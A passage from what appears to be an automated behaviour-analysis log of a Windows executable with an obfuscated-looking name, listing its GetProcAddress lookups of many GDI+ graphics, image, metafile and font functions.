"GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSaveImageToFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSaveImageToStream (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSaveAdd (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSaveAddImage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageGraphicsContext (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageBounds (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageDimension (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageType (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageWidth (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageHeight (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageHorizontalResolution (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageVerticalResolution (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageFlags (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageRawFormat (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImagePixelFormat (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageThumbnail (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetEncoderParameterListSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetEncoderParameterList (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipImageGetFrameDimensionsCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipImageGetFrameDimensionsList (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipImageGetFrameCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipImageSelectActiveFrame (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipImageRotateFlip (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImagePalette (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImagePalette (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImagePaletteSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPropertyCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPropertyIdList (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPropertyItemSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPropertyItem (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPropertySize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetAllPropertyItems (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRemovePropertyItem (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPropertyItem (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipImageForceValidation (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromStream (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromStreamICM (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromFileICM (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromScan0 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromGraphics (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromGdiDib (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromHBITMAP (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateHBITMAPFromBitmap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromHICON (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateHICONFromBitmap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromResource (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneBitmapArea (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneBitmapAreaI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBitmapLockBits (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBitmapUnlockBits (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBitmapGetPixel (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBitmapSetPixel (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBitmapSetResolution (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateImageAttributes (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneImageAttributes (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDisposeImageAttributes (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesToIdentity (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetImageAttributes (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesColorMatrix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesThreshold (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesGamma (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesNoOp (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesColorKeys (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesOutputChannel (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesOutputChannelColorProfile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesRemapTable (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesWrapMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetImageAttributesICMMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageAttributesAdjustedPalette (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFlush (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFromHWND (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFromHWNDICM (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetDC (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipReleaseDC (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCompositingMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCompositingMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetRenderingOrigin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetRenderingOrigin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetCompositingQuality (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCompositingQuality (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetSmoothingMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetSmoothingMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPixelOffsetMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPixelOffsetMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetTextRenderingHint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetTextRenderingHint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetTextContrast (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetTextContrast (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetInterpolationMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetInterpolationMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMultiplyWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipScaleWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRotateWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetWorldTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetPageTransform (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPageUnit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPageScale (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPageUnit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPageScale (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetDpiX (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetDpiY (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTransformPoints (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTransformPointsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetNearestColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateHalftonePalette (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawLine (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawLineI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawLines (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawLinesI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawArc (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawArcI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawBezier (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawBezierI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawBeziers (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawBeziersI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawRectangle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawRectangleI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawRectangles (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawRectanglesI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawEllipse (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawEllipseI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawPie (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawPieI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawPolygon (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawPolygonI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCurve (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCurveI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCurve2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCurve2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCurve3 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCurve3I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawClosedCurve (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawClosedCurveI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawClosedCurve2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawClosedCurve2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGraphicsClear (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillRectangle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillRectangleI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillRectangles (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillRectanglesI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPolygon (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPolygonI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPolygon2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPolygon2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillEllipse (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillEllipseI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPie (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPieI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillClosedCurve (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillClosedCurveI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillClosedCurve2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillClosedCurve2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFillRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImageI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImageRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImageRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImagePoints (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImagePointsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImagePointRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImagePointRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImageRectRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImageRectRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImagePointsRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawImagePointsRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetClipGraphics (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetClipRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetClipRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetClipPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetClipRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetClipHrgn (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetClip (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateClip (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTranslateClipI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetClip (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetClipBounds (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetClipBoundsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsClipEmpty (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetVisibleClipBounds (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetVisibleClipBoundsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleClipEmpty (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisiblePoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisiblePointI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsVisibleRectI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSaveGraphics (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRestoreGraphics (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBeginContainer (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBeginContainerI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipBeginContainer2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipEndContainer (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMetafileHeaderFromWmf (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMetafileHeaderFromEmf (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMetafileHeaderFromFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMetafileHeaderFromStream (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMetafileHeaderFromMetafile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetHemfFromMetafile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateStreamOnFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMetafileFromWmf (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMetafileFromEmf (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMetafileFromFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMetafileFromWmfFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateMetafileFromStream (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRecordMetafile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRecordMetafileI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRecordMetafileFileName (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRecordMetafileFileNameI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRecordMetafileStream (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipRecordMetafileStreamI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetMetafileDownLevelRasterizationLimit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetMetafileDownLevelRasterizationLimit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageDecodersSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageDecoders (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageEncodersSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetImageEncoders (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipComment (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFontFamilyFromName (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteFontFamily (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneFontFamily (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetGenericFontFamilySansSerif (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetGenericFontFamilySerif (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetGenericFontFamilyMonospace (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFamilyName (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipIsStyleAvailable (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFontCollectionEnumerable (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFontCollectionEnumerate (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetEmHeight (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCellAscent (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetCellDescent (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLineSpacing (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFontFromDC (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFontFromLogfontA (UID: 00000000-00004180) 